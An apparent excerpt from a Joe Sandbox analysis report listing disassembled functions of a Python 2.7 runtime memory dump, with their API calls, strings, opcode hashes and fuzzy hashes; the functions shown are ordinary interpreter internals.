                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Arg_DecodeEscapeParseSizeString_Tuple_
                                                                                                                                                                    • String ID: s#|z:escape_decode
                                                                                                                                                                    • API String ID: 122690344-3354574274
                                                                                                                                                                    • Opcode ID: 5b2f86d4576396afc66b0e66da3d11e12ed250b02f21976053d4980e874ed737
                                                                                                                                                                    • Instruction ID: dfa94eaba42a9cf7f89867cdbbc262bedc0efa28caea42f65e3e5019502edba6
                                                                                                                                                                    • Opcode Fuzzy Hash: 5b2f86d4576396afc66b0e66da3d11e12ed250b02f21976053d4980e874ed737
                                                                                                                                                                    • Instruction Fuzzy Hash: BB0180B6A401086BD710DA98EC45FAF77BCDB88634F1142A9ED5C97280E6309E1587E2
                                                                                                                                                                    Function 670B6F00 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyObject_GC_Malloc.PYTHON27(00000018), ref: 670B6F0E
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 670B6F50
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 67141440
                                                                                                                                                                      • Part of subcall function 67141420: fprintf.MSVCR90 ref: 67141446
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 6714144C
                                                                                                                                                                      • Part of subcall function 67141420: fflush.MSVCR90 ref: 67141452
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 67141499
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32 ref: 6714149C
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(67213AD4), ref: 671414A3
                                                                                                                                                                      • Part of subcall function 67141420: abort.MSVCR90 ref: 671414A5
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: DebugOutputString$__iob_func$ErrorFatalMallocObject_abortfflushfprintf
                                                                                                                                                                    • String ID: GC object already tracked$P&&g
                                                                                                                                                                    • API String ID: 872466363-581008464
                                                                                                                                                                    • Opcode ID: fd8e4192a4e06f1e83e1e345cd5e5a61db572b31d988139361e673fc4c5a3338
                                                                                                                                                                    • Instruction ID: be10749e34a72b36383d451b48b17de59f95991fb1642b07d0730877054b63ed
                                                                                                                                                                    • Opcode Fuzzy Hash: fd8e4192a4e06f1e83e1e345cd5e5a61db572b31d988139361e673fc4c5a3338
                                                                                                                                                                    • Instruction Fuzzy Hash: 4911BFB19007018FC724CF68D845956F7E4FB893247108BAED9798B790E335E866CBD1
                                                                                                                                                                    Function 67002730 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,t#|z:charbuffer_encode,?,?,?), ref: 67002752
                                                                                                                                                                    • PyString_FromStringAndSize.PYTHON27(?,?), ref: 6700276E
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Size$Arg_FromParseStringString_Tuple_
                                                                                                                                                                    • String ID: t#|z:charbuffer_encode
                                                                                                                                                                    • API String ID: 2714287502-2725689005
                                                                                                                                                                    • Opcode ID: 7f218595326b2fc7175cfcb38ca1505d805d6db6fdcb403ad6c5ae9e6c1938ac
                                                                                                                                                                    • Instruction ID: ba69bb4f13cb1757e32207b67e64c9abc30fe68247cecc070b0953ef780c3cca
                                                                                                                                                                    • Opcode Fuzzy Hash: 7f218595326b2fc7175cfcb38ca1505d805d6db6fdcb403ad6c5ae9e6c1938ac
                                                                                                                                                                    • Instruction Fuzzy Hash: 9801B176E0010867CB10DA98EC49E9F77FCDBC8235F0042A9ED1CC3240F6319A5983E2
                                                                                                                                                                    Function 670026B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyArg_ParseTuple_SizeT.PYTHON27(?,s#|z:readbuffer_encode,?,?,?), ref: 670026D2
                                                                                                                                                                    • PyString_FromStringAndSize.PYTHON27(?,?), ref: 670026EE
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Size$Arg_FromParseStringString_Tuple_
                                                                                                                                                                    • String ID: s#|z:readbuffer_encode
                                                                                                                                                                    • API String ID: 2714287502-3227709264
                                                                                                                                                                    • Opcode ID: 87de7c74a3b9757373a5f0bf667fb13f51436a7ea963b0330ecc1638bda114e0
                                                                                                                                                                    • Instruction ID: c82d5146d1f7381533d2dccafdc4d1031f9b8fa6365be06e43a614900c1621db
                                                                                                                                                                    • Opcode Fuzzy Hash: 87de7c74a3b9757373a5f0bf667fb13f51436a7ea963b0330ecc1638bda114e0
                                                                                                                                                                    • Instruction Fuzzy Hash: 7D0171B6E0410867CB10DA98EC45E9B77FDEB88235F0542A9ED5CC7240F6319A59C7E2
                                                                                                                                                                    Function 670CBF50 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(?,?), ref: 670CBF71
                                                                                                                                                                    • PyType_IsSubtype.PYTHON27(?,?), ref: 670CBF83
                                                                                                                                                                    • _PyErr_BadInternalCall.PYTHON27(..\Objects\setobject.c,00000925), ref: 670CBF99
                                                                                                                                                                      • Part of subcall function 67120890: PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,?,670CBD4E,?,670CBD4E,..\Objects\setobject.c,000008F0), ref: 671208AA
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_SubtypeType_$CallFormatInternal
                                                                                                                                                                    • String ID: ..\Objects\setobject.c
                                                                                                                                                                    • API String ID: 3748510839-1817486985
                                                                                                                                                                    • Opcode ID: 263f4c2f6d62b56e4a4d76dac6d5586d32deb35077485a69cbb0a6cf1713c74e
                                                                                                                                                                    • Instruction ID: 8c2610fcfafd425e15b8ce04b107ee4ff6555097e63b50b90cf1217fa20655be
                                                                                                                                                                    • Opcode Fuzzy Hash: 263f4c2f6d62b56e4a4d76dac6d5586d32deb35077485a69cbb0a6cf1713c74e
                                                                                                                                                                    • Instruction Fuzzy Hash: 200188B660021D6B8A00955DFC40B9EB79D9F5C27AB044121FA1CD7341E371E95349F3
                                                                                                                                                                    Function 6708B550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyString_FromString.PYTHON27(?), ref: 6708B564
                                                                                                                                                                    • PyObject_DelItem.PYTHON27(?,00000000), ref: 6708B57B
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672465C8,null argument to internal routine), ref: 6708B5B3
                                                                                                                                                                    Strings
                                                                                                                                                                    • null argument to internal routine, xrefs: 6708B5AD
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String$Err_FromItemObject_String_
                                                                                                                                                                    • String ID: null argument to internal routine
                                                                                                                                                                    • API String ID: 1374695092-2212441169
                                                                                                                                                                    • Opcode ID: 04511656fec074f2bfc845039f4d577e6bb377aa018c99f2b8993adb68b98d3b
                                                                                                                                                                    • Instruction ID: 743e4c598f21eb0826b097daf2a75cf7f780a1f273168171b41461d79e08aa20
                                                                                                                                                                    • Opcode Fuzzy Hash: 04511656fec074f2bfc845039f4d577e6bb377aa018c99f2b8993adb68b98d3b
                                                                                                                                                                    • Instruction Fuzzy Hash: 1601F476A00504D7CA009A2DFC45B9B37E99F9A334B140725F92C8B390E735ED46C6F2
                                                                                                                                                                    Function 67131D00 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 49COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_Format.PYTHON27(672465C8,%s:%d: bad argument to internal function,..\Python\pystrtod.c,000004D5), ref: 67131DE4
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Err_Format
                                                                                                                                                                    • String ID: %s:%d: bad argument to internal function$..\Python\pystrtod.c$e
                                                                                                                                                                    • API String ID: 376477240-3173659257
                                                                                                                                                                    • Opcode ID: 339af93d3aa4b4dddff529bc765b0324daa9b2b3a798b0a9851714afa5cb6b2d
                                                                                                                                                                    • Instruction ID: 9310cc53d8d69f0939493326f1347fabd0ad35675bd39ddef5dd3cbbc2aea04a
                                                                                                                                                                    • Opcode Fuzzy Hash: 339af93d3aa4b4dddff529bc765b0324daa9b2b3a798b0a9851714afa5cb6b2d
                                                                                                                                                                    • Instruction Fuzzy Hash: 300147A38144286BC700AD68CC46CE737DC9B0E224F040B96FD64E3281D679CD2143E2
                                                                                                                                                                    Function 6708EF60 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • PyErr_SetString.PYTHON27(672465C8,null argument to internal routine), ref: 6708EF81
                                                                                                                                                                    • PyString_FromString.PYTHON27(?), ref: 6708EF90
                                                                                                                                                                    • PyObject_SetItem.PYTHON27(?,00000000,?), ref: 6708EFAE
                                                                                                                                                                    Strings
                                                                                                                                                                    • null argument to internal routine, xrefs: 6708EF7B
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: String$Err_FromItemObject_String_
                                                                                                                                                                    • String ID: null argument to internal routine
                                                                                                                                                                    • API String ID: 1374695092-2212441169
                                                                                                                                                                    • Opcode ID: 6ca67c2afad36fdcbd25e80539ade53e0bcd02f796f7893a8e9c037b14479e6a
                                                                                                                                                                    • Instruction ID: 8c125f42e438659a8f37fc73e723ebef747f559d00a679e5f70e8e4b12927e85
                                                                                                                                                                    • Opcode Fuzzy Hash: 6ca67c2afad36fdcbd25e80539ade53e0bcd02f796f7893a8e9c037b14479e6a
                                                                                                                                                                    • Instruction Fuzzy Hash: 7201F9B2A0011497CA10DA69EC44E8733E99F89374B200735F92C8B781D735E806C7E1
                                                                                                                                                                    Function 670B8F60 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyObject_GC_Malloc.PYTHON27(00000010), ref: 670B8F6E
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 670B8FA7
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 67141440
                                                                                                                                                                      • Part of subcall function 67141420: fprintf.MSVCR90 ref: 67141446
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 6714144C
                                                                                                                                                                      • Part of subcall function 67141420: fflush.MSVCR90 ref: 67141452
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 67141499
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32 ref: 6714149C
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(67213AD4), ref: 671414A3
                                                                                                                                                                      • Part of subcall function 67141420: abort.MSVCR90 ref: 671414A5
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: DebugOutputString$__iob_func$ErrorFatalMallocObject_abortfflushfprintf
                                                                                                                                                                    • String ID: GC object already tracked$P&&g
                                                                                                                                                                    • API String ID: 872466363-581008464
                                                                                                                                                                    • Opcode ID: ff6e4d6bc7e0520403841613e0f1eae6234f6b7c5dedd1465c25b6a48bae2d05
                                                                                                                                                                    • Instruction ID: 7fbb4d9070b8326995e640eaae661570a273b4050d10afa959b7915d6739c4a3
                                                                                                                                                                    • Opcode Fuzzy Hash: ff6e4d6bc7e0520403841613e0f1eae6234f6b7c5dedd1465c25b6a48bae2d05
                                                                                                                                                                    • Instruction Fuzzy Hash: 1F01BCB1500B069FC720CF59D845566F7E8FB4A334B1086AAED699B390E374A4A2CBD1
                                                                                                                                                                    Function 6700A5B0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: isdigitmallocmemmove
                                                                                                                                                                    • String ID: $Revision$
                                                                                                                                                                    • API String ID: 1441860961-3178937091
                                                                                                                                                                    • Opcode ID: d19a7db7d1cb2ad830319c39e560635b2430e12a4b1541e74443f58f7b39b01f
                                                                                                                                                                    • Instruction ID: 143d34e460f624715f119a460b640a063a8c3c21fbed83e7c19604b0945bc93a
                                                                                                                                                                    • Opcode Fuzzy Hash: d19a7db7d1cb2ad830319c39e560635b2430e12a4b1541e74443f58f7b39b01f
                                                                                                                                                                    • Instruction Fuzzy Hash: 7801F4B10082C25EFB224AA44C81B967FE9BB5F125F24007ADCD143106E62AD597D3B4
                                                                                                                                                                    Function 67099640 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyObject_GC_Malloc.PYTHON27(0000000C), ref: 6709964E
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 67099683
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ErrorFatalMallocObject_
                                                                                                                                                                    • String ID: GC object already tracked$P&&g
                                                                                                                                                                    • API String ID: 2067638752-581008464
                                                                                                                                                                    • Opcode ID: 83385445287ecf17ba3cacafa62d67efec64ddee6eb5e7075171a4636c1793fd
                                                                                                                                                                    • Instruction ID: d7de8eff834ace120aa562479e2402458246fc7ac12545099d468a20b8814c2b
                                                                                                                                                                    • Opcode Fuzzy Hash: 83385445287ecf17ba3cacafa62d67efec64ddee6eb5e7075171a4636c1793fd
                                                                                                                                                                    • Instruction Fuzzy Hash: 6F01FDB16006069FC710CF59D806562B7F8FB8A324B10877EED2887380E778E462CBE5
                                                                                                                                                                    Function 670A3EB0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    • _PyObject_GC_Malloc.PYTHON27(00000010), ref: 670A3EBE
                                                                                                                                                                    • Py_FatalError.PYTHON27(GC object already tracked), ref: 670A3EF7
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 67141440
                                                                                                                                                                      • Part of subcall function 67141420: fprintf.MSVCR90 ref: 67141446
                                                                                                                                                                      • Part of subcall function 67141420: __iob_func.MSVCR90 ref: 6714144C
                                                                                                                                                                      • Part of subcall function 67141420: fflush.MSVCR90 ref: 67141452
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 67141499
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32 ref: 6714149C
                                                                                                                                                                      • Part of subcall function 67141420: OutputDebugStringW.KERNEL32(67213AD4), ref: 671414A3
                                                                                                                                                                      • Part of subcall function 67141420: abort.MSVCR90 ref: 671414A5
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000004.00000002.1901077751.0000000067001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 67000000, based on PE: true
                                                                                                                                                                    • Associated: 00000004.00000002.1901064407.0000000067000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901174092.000000006714A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901245607.000000006721F000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067220000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901260648.0000000067234000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901341387.0000000067271000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    • Associated: 00000004.00000002.1901358159.0000000067284000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_4_2_67000000_pyexec.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: DebugOutputString$__iob_func$ErrorFatalMallocObject_abortfflushfprintf
                                                                                                                                                                    • String ID: GC object already tracked$P&&g
                                                                                                                                                                    • API String ID: 872466363-581008464
                                                                                                                                                                    • Opcode ID: 65ee087089ddb08a3e72315b2df66cb90fb6501336178b6136fe347e4959bf68
                                                                                                                                                                    • Instruction ID: 49b42c4d411f97e3a1a20dc05470a6433a235d07c09c4daac4dcb62f93ce9b47
                                                                                                                                                                    • Opcode Fuzzy Hash: 65ee087089ddb08a3e72315b2df66cb90fb6501336178b6136fe347e4959bf68
                                                                                                                                                                    • Instruction Fuzzy Hash: 6C01FDB0500B069FC720CF58C80A556F7F8FB4A324B10866EE9799B390D378A452CBC1
